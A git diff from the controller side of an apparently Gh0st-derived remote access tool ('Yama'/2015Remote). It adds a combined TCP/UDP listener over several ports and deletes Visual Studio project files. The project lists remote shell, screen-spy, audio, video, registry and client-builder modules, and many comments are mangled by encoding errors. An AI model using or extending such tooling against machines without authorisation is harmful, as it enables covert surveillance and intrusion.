+		InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
+		InternetCloseHandle(hConnect);
+		InternetCloseHandle(hInternet);
+
+		return std::string(buffer);
+	}
+};
--- a/server/2015Remote/jsoncpp/allocator.h
+++ b/server/2015Remote/jsoncpp/allocator.h
--- a/server/2015Remote/jsoncpp/assertions.h
+++ b/server/2015Remote/jsoncpp/assertions.h
--- a/server/2015Remote/jsoncpp/config.h
+++ b/server/2015Remote/jsoncpp/config.h
--- a/server/2015Remote/jsoncpp/forwards.h
+++ b/server/2015Remote/jsoncpp/forwards.h
--- a/server/2015Remote/jsoncpp/json.h
+++ b/server/2015Remote/jsoncpp/json.h
--- a/server/2015Remote/jsoncpp/json_features.h
+++ b/server/2015Remote/jsoncpp/json_features.h
--- a/server/2015Remote/jsoncpp/jsoncpp.lib
+++ b/server/2015Remote/jsoncpp/jsoncpp.lib
--- a/server/2015Remote/jsoncpp/jsoncpp_x64.lib
+++ b/server/2015Remote/jsoncpp/jsoncpp_x64.lib
--- a/server/2015Remote/jsoncpp/jsoncpp_x64d.lib
+++ b/server/2015Remote/jsoncpp/jsoncpp_x64d.lib
--- a/server/2015Remote/jsoncpp/jsoncppd.lib
+++ b/server/2015Remote/jsoncpp/jsoncppd.lib
--- a/server/2015Remote/jsoncpp/reader.h
+++ b/server/2015Remote/jsoncpp/reader.h
--- a/server/2015Remote/jsoncpp/value.h
+++ b/server/2015Remote/jsoncpp/value.h
--- a/server/2015Remote/jsoncpp/version.h
+++ b/server/2015Remote/jsoncpp/version.h
--- a/server/2015Remote/jsoncpp/writer.h
+++ b/server/2015Remote/jsoncpp/writer.h
--- a/server/2015Remote.sln
+++ b/server/2015Remote.sln
@@ -1,44 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 2012
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
-	ProjectSection(ProjectDependencies) = postProject
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
-	EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRun.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
-	ProjectSection(ProjectDependencies) = postProject
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
-	EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "..\client\ghost.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Win32 = Debug|Win32
-		Release|Win32 = Release|Win32
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32
-		{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
-		{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.ActiveCfg = Debug|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32
-		{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.ActiveCfg = Debug|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.Build.0 = Debug|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.ActiveCfg = Release|Win32
-		{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal
--- a/server/2015Remote/2015Remote.cpp
+++ b/server/2015Remote/2015Remote.cpp
@@ -14,6 +14,7 @@
 #include <io.h>
 #include <direct.h>
 #include <DbgHelp.h>
+#include "IOCPUDPServer.h"
 #pragma comment(lib, "Dbghelp.lib")

 CMy2015RemoteApp* GetThisApp() {
@@ -21,7 +22,7 @@ CMy2015RemoteApp* GetThisApp() {
 }

 config& GetThisCfg() {
-	config *cfg = GetThisApp()->m_iniFile;
+	config *cfg = GetThisApp()->GetCfg();
 	return *cfg;
 }

@@ -76,7 +77,6 @@ CMy2015RemoteApp::CMy2015RemoteApp()
 	m_Mutex = NULL;
 	std::string masterHash(skCrypt(MASTER_HASH));
 	m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
-	m_iocpServer = new IOCPServer();

 	srand(static_cast<unsigned int>(time(0)));
 }
@@ -107,6 +107,12 @@ BOOL CMy2015RemoteApp::InitInstance()

 	SetUnhandledExceptionFilter(&whenbuged);

+	SHFILEINFO	sfi = {};
+	HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX);
+	m_pImageList_Large.Attach(hImageList);
+	hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX);
+	m_pImageList_Small.Attach(hImageList);
+
 	// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Windows XP <20>ϵ<EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD>嵥ָ<E5B5A5><D6B8>Ҫ
 	// ʹ<><CAB9> ComCtl32.dll <20>汾 6 <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>ӻ<EFBFBD><D3BB><EFBFBD>ʽ<EFBFBD><CABD>
 	//<2F><><EFBFBD><EFBFBD>Ҫ InitCommonControlsEx()<29><><EFBFBD><EFBFBD><EFBFBD>򣬽<EFBFBD><F2A3ACBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڡ<EFBFBD>
@@ -132,9 +138,9 @@ BOOL CMy2015RemoteApp::InitInstance()
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	// TODO: Ӧ<>ʵ<EFBFBD><CAB5>޸ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
 	// <20><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
-	SetRegistryKey(_T("Remoter"));
+	SetRegistryKey(_T("YAMA"));

-	CMy2015RemoteDlg dlg(m_iocpServer);
+	CMy2015RemoteDlg dlg(nullptr);
 	m_pMainWnd = &dlg;
 	INT_PTR nResponse = dlg.DoModal();
 	if (nResponse == IDOK)
@@ -167,12 +173,8 @@ int CMy2015RemoteApp::ExitInstance()
 		CloseHandle(m_Mutex);
 		m_Mutex = NULL;
 	}
-	if (m_iocpServer != NULL)
-	{
-		m_iocpServer->Destroy();
-		delete m_iocpServer;
-		m_iocpServer = NULL;
-	}
+	Delete();
+
 	SAFE_DELETE(m_iniFile);

 	return CWinApp::ExitInstance();
--- a/server/2015Remote/2015Remote.h
+++ b/server/2015Remote/2015Remote.h
@@ -11,23 +11,116 @@
 #include "resource.h"		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 #include "common/iniFile.h"
 #include "IOCPServer.h"
+#include "IOCPUDPServer.h"

 // CMy2015RemoteApp:
 // <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
 //

+// ServerPair: 
+// һ<><D2BB>SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: ͬʱ<CDAC><CAB1><EFBFBD><EFBFBD>TCP<43><50>UDP.
+class ServerPair
+{
+private:
+	Server* m_tcpServer;
+	Server* m_udpServer;
+public:
+	ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {}
+	virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); }
+
+	BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
+		UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
+		if (ret1) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TCP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str() 
+			+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret1).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+		UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
+		if (ret2) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
+			+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret2).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
+		return (ret1 == 0 || ret2 == 0);
+	}
+
+	void UpdateMaxConnection(int maxConn) {
+		if (m_tcpServer) m_tcpServer->UpdateMaxConnection(maxConn);
+		if (m_udpServer) m_udpServer->UpdateMaxConnection(maxConn);
+	}
+
+	void Destroy() {
+		if (m_tcpServer) m_tcpServer->Destroy();
+		if (m_udpServer) m_udpServer->Destroy();
+	}
+
+	void Disconnect(CONTEXT_OBJECT* ctx) {
+		if (m_tcpServer) m_tcpServer->Disconnect(ctx);
+		if (m_udpServer) m_udpServer->Disconnect(ctx);
+	}
+};
+
 class CMy2015RemoteApp : public CWinApp
 {
+private:
+	// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ<EFBFBD><C8A1>
+	config* m_iniFile = nullptr;
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+	std::vector<ServerPair*> m_iocpServer;
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	HANDLE m_Mutex = nullptr;
+
 public:
 	CMy2015RemoteApp();
-	config  *m_iniFile;
-	HANDLE m_Mutex;
-	IOCPServer* m_iocpServer;
-// <20><>д
-public:
+
+	CImageList m_pImageList_Large;  //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
+	CImageList m_pImageList_Small;	//ϵͳСͼ<D0A1><CDBC>
+
 	virtual BOOL InitInstance();

-// ʵ<><CAB5>
+	config* GetCfg() const {
+		return m_iniFile;
+	}
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
+	// nPortʾ<74><CABE>: 6543;7543
+	UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort) {
+		bool succeed = false;
+		auto list = StringToVector(uPort, ';');
+		for (int i=0; i<list.size(); ++i)
+		{
+			int port = std::atoi(list[i].c_str());
+			auto svr = new ServerPair();
+			BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
+			if (ret == FALSE) {
+				SAFE_DELETE(svr);
+				continue;
+			}
+			succeed = true;
+			m_iocpServer.push_back(svr);
+		}
+
+		return succeed ? 0 : -1;
+	}
+
+	// <20>ͷŷ<CDB7><C5B7><EFBFBD><EFBFBD><EFBFBD> SOCKET
+	void Destroy() {
+		for (int i=0; i<m_iocpServer.size(); ++i)
+		{
+			m_iocpServer[i]->Destroy();
+		}
+	}
+
+	// <20>ͷŷ<CDB7><C5B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
+	void Delete() {
+		for (int i = 0; i < m_iocpServer.size(); ++i)
+		{
+			SAFE_DELETE(m_iocpServer[i]);
+		}
+		m_iocpServer.clear();
+	}
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	void UpdateMaxConnection(int maxConn) {
+		for (int i = 0; i < m_iocpServer.size(); ++i)
+		{
+			m_iocpServer[i]->UpdateMaxConnection(maxConn);
+		}
+	}

 	DECLARE_MESSAGE_MAP()
 	virtual int ExitInstance();
--- a/server/2015Remote/2015Remote.rc
+++ b/server/2015Remote/2015Remote.rc
--- a/server/2015Remote/2015Remote.vcxproj
+++ b/server/2015Remote/2015Remote.vcxproj
@@ -1,214 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup Label="ProjectConfigurations">
-    <ProjectConfiguration Include="Debug|Win32">
-      <Configuration>Debug</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-    <ProjectConfiguration Include="Release|Win32">
-      <Configuration>Release</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-  </ItemGroup>
-  <PropertyGroup Label="Globals">
-    <ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
-    <RootNamespace>My2015Remote</RootNamespace>
-    <Keyword>MFCProj</Keyword>
-    <ProjectName>Yama</ProjectName>
-    <WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>true</UseDebugLibraries>
-    <CharacterSet>MultiByte</CharacterSet>
-    <UseOfMfc>Static</UseOfMfc>
-    <PlatformToolset>v110_xp</PlatformToolset>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>MultiByte</CharacterSet>
-    <UseOfMfc>Static</UseOfMfc>
-    <PlatformToolset>v110_xp</PlatformToolset>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
-  <ImportGroup Label="ExtensionSettings">
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <PropertyGroup Label="UserMacros" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <LinkIncremental>true</LinkIncremental>
-    <IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
-    <LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <LinkIncremental>false</LinkIncremental>
-    <LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
-    <IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
-  </PropertyGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <ClCompile>
-      <PrecompiledHeader>Use</PrecompiledHeader>
-      <WarningLevel>Level3</WarningLevel>
-      <Optimization>Disabled</Optimization>
-      <PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <MultiProcessorCompilation>true</MultiProcessorCompilation>
-      <MinimalRebuild>false</MinimalRebuild>
-    </ClCompile>
-    <Link>
-      <SubSystem>Windows</SubSystem>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-      <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
-      <IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
-    </Link>
-    <Midl>
-      <MkTypLibCompatible>false</MkTypLibCompatible>
-      <ValidateAllParameters>true</ValidateAllParameters>
-      <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-    </Midl>
-    <ResourceCompile>
-      <Culture>0x0804</Culture>
-      <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
-    </ResourceCompile>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <PrecompiledHeader>Use</PrecompiledHeader>
-      <Optimization>MinSpace</Optimization>
-      <FunctionLevelLinking>true</FunctionLevelLinking>
-      <PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <MultiProcessorCompilation>true</MultiProcessorCompilation>
-      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
-      <StringPooling>true</StringPooling>
-    </ClCompile>
-    <Link>
-      <SubSystem>Windows</SubSystem>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-      <EnableCOMDATFolding>true</EnableCOMDATFolding>
-      <OptimizeReferences>true</OptimizeReferences>
-      <AdditionalDependencies>zlib.lib</AdditionalDependencies>
-      <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
-    </Link>
-    <Midl>
-      <MkTypLibCompatible>false</MkTypLibCompatible>
-      <ValidateAllParameters>true</ValidateAllParameters>
-      <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-    </Midl>
-    <ResourceCompile>
-      <Culture>0x0804</Culture>
-      <PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
-    </ResourceCompile>
-  </ItemDefinitionGroup>
-  <ItemGroup>
-    <None Include="res\1.cur" />
-    <None Include="res\2.cur" />
-    <None Include="res\2015Remote.ico" />
-    <None Include="res\3.cur" />
-    <None Include="res\4.cur" />
-    <None Include="res\arrow.cur" />
-    <None Include="res\audio.ico" />
-    <None Include="res\bitmap\bmp00001.bmp" />
-    <None Include="res\Bitmap\Online.bmp" />
-    <None Include="res\bitmap\toolbar1.bmp" />
-    <None Include="res\Bitmap\ToolBar_File.bmp" />
-    <None Include="res\Bitmap\ToolBar_Main.bmp" />
-    <None Include="res\cmdshell.ico" />
-    <None Include="res\cursor5.cur" />
-    <None Include="res\Cur\Drag.cur" />
-    <None Include="res\Cur\MutiDrag.cur" />
-    <None Include="res\dword.ico" />
-    <None Include="res\file.ico" />
-    <None Include="res\icon1.ico" />
-    <None Include="res\My2015Remote.rc2" />
-    <None Include="res\pc.ico" />
-    <None Include="res\string.ico" />
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="2015Remote.h" />
-    <ClInclude Include="2015RemoteDlg.h" />
-    <ClInclude Include="Audio.h" />
-    <ClInclude Include="AudioDlg.h" />
-    <ClInclude Include="Buffer.h" />
-    <ClInclude Include="BuildDlg.h" />
-    <ClInclude Include="CpuUseage.h" />
-    <ClInclude Include="EditDialog.h" />
-    <ClInclude Include="FileManagerDlg.h" />
-    <ClInclude Include="FileTransferModeDlg.h" />
-    <ClInclude Include="iniFile.h" />
-    <ClInclude Include="InputDlg.h" />
-    <ClInclude Include="IOCPServer.h" />
-    <ClInclude Include="RegisterDlg.h" />
-    <ClInclude Include="Resource.h" />
-    <ClInclude Include="ScreenSpyDlg.h" />
-    <ClInclude Include="ServicesDlg.h" />
-    <ClInclude Include="SettingDlg.h" />
-    <ClInclude Include="ShellDlg.h" />
-    <ClInclude Include="stdafx.h" />
-    <ClInclude Include="SystemDlg.h" />
-    <ClInclude Include="TalkDlg.h" />
-    <ClInclude Include="targetver.h" />
-    <ClInclude Include="TrueColorToolBar.h" />
-    <ClInclude Include="VideoDlg.h" />
-    <ClInclude Include="zconf.h" />
-    <ClInclude Include="zlib.h" />
-  </ItemGroup>
-  <ItemGroup>
-    <ClCompile Include="2015Remote.cpp" />
-    <ClCompile Include="2015RemoteDlg.cpp" />
-    <ClCompile Include="Audio.cpp" />
-    <ClCompile Include="AudioDlg.cpp" />
-    <ClCompile Include="Buffer.cpp" />
-    <ClCompile Include="BuildDlg.cpp" />
-    <ClCompile Include="CpuUseage.cpp" />
-    <ClCompile Include="EditDialog.cpp" />
-    <ClCompile Include="FileManagerDlg.cpp" />
-    <ClCompile Include="FileTransferModeDlg.cpp" />
-    <ClCompile Include="iniFile.cpp" />
-    <ClCompile Include="InputDlg.cpp" />
-    <ClCompile Include="IOCPServer.cpp" />
-    <ClCompile Include="RegisterDlg.cpp" />
-    <ClCompile Include="ScreenSpyDlg.cpp" />
-    <ClCompile Include="ServicesDlg.cpp" />
-    <ClCompile Include="SettingDlg.cpp" />
-    <ClCompile Include="ShellDlg.cpp" />
-    <ClCompile Include="stdafx.cpp">
-      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
-      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
-    </ClCompile>
-    <ClCompile Include="SystemDlg.cpp" />
-    <ClCompile Include="TalkDlg.cpp" />
-    <ClCompile Include="TrueColorToolBar.cpp" />
-    <ClCompile Include="VideoDlg.cpp" />
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="2015Remote.rc" />
-  </ItemGroup>
-  <ItemGroup>
-    <Text Include="..\..\ReadMe.txt" />
-  </ItemGroup>
-  <ItemGroup>
-    <Image Include="res\Bitmap_4.bmp" />
-    <Image Include="res\Bitmap_5.bmp" />
-    <Image Include="res\toolbar1.bmp" />
-    <Image Include="res\toolbar2.bmp" />
-    <Image Include="res\webcam.ico" />
-  </ItemGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
-  <ImportGroup Label="ExtensionTargets">
-  </ImportGroup>
-  <ProjectExtensions>
-    <VisualStudio>
-      <UserProperties RESOURCE_FILE="2015Remote.rc" />
-    </VisualStudio>
-  </ProjectExtensions>
-</Project>
--- a/server/2015Remote/2015Remote.vcxproj.filters
+++ b/server/2015Remote/2015Remote.vcxproj.filters
@@ -1,312 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup>
-    <Filter Include="源文件">
-      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
-      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
-    </Filter>
-    <Filter Include="头文件">
-      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
-      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
-    </Filter>
-    <Filter Include="资源文件">
-      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
-      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
-    </Filter>
-    <Filter Include="主Dlg">
-      <UniqueIdentifier>{c30c6669-7ee9-446c-9bfb-e472d534e2f2}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="真彩Bar">
-      <UniqueIdentifier>{7384a2b0-7e54-4b4f-8f1e-399a170b0893}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="设置Dlg">
-      <UniqueIdentifier>{13f8046a-69f8-4f11-a24b-6bc31c195200}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="通信类">
-      <UniqueIdentifier>{b8c1bcef-f319-4d72-be70-99c37a83bf9a}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="CPU">
-      <UniqueIdentifier>{247eff7d-6fd0-43dd-8c7e-263aad0eed5b}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="缓冲区">
-      <UniqueIdentifier>{89df7039-00e9-4694-91f8-fc5f023e6321}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程控制">
-      <UniqueIdentifier>{5264e449-f09b-420d-9c72-ff8151bee746}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程文件">
-      <UniqueIdentifier>{52707111-f42b-41c9-b02d-ded6b27a2b7e}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="即时消息">
-      <UniqueIdentifier>{b8b47b31-1b3f-420a-aebd-f9f6aef16177}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程终端">
-      <UniqueIdentifier>{98bb3949-95d3-4ae1-9e7a-51344815555a}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程系统管理">
-      <UniqueIdentifier>{ba31583e-3d2b-4f34-ac0f-9589567fccd9}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程音频">
-      <UniqueIdentifier>{b3a92075-6f32-4114-8c59-b0fb0042ed03}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="生成客户端">
-      <UniqueIdentifier>{604ae8b3-7d79-4ba3-955d-8244c26c9218}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程注册表">
-      <UniqueIdentifier>{9cd8e611-2137-4553-b9a9-121877b5e33c}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程服务">
-      <UniqueIdentifier>{99dc4626-9f3c-4a3f-bfbd-03c6748fe053}</UniqueIdentifier>
-    </Filter>
-    <Filter Include="远程视频">
-      <UniqueIdentifier>{4fbc083b-8252-4012-836d-6757122c7de7}</UniqueIdentifier>
-    </Filter>
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="res\My2015Remote.rc2">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\2015Remote.ico">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\Bitmap\Online.bmp">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\bitmap\toolbar1.bmp">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\Bitmap\ToolBar_Main.bmp">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\bitmap\bmp00001.bmp">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\Bitmap\ToolBar_File.bmp">
-      <Filter>资源文件</Filter>
-    </None>
-    <None Include="res\Cur\Drag.cur">
-      <Filter>资源文件</Filter>
-    </None>
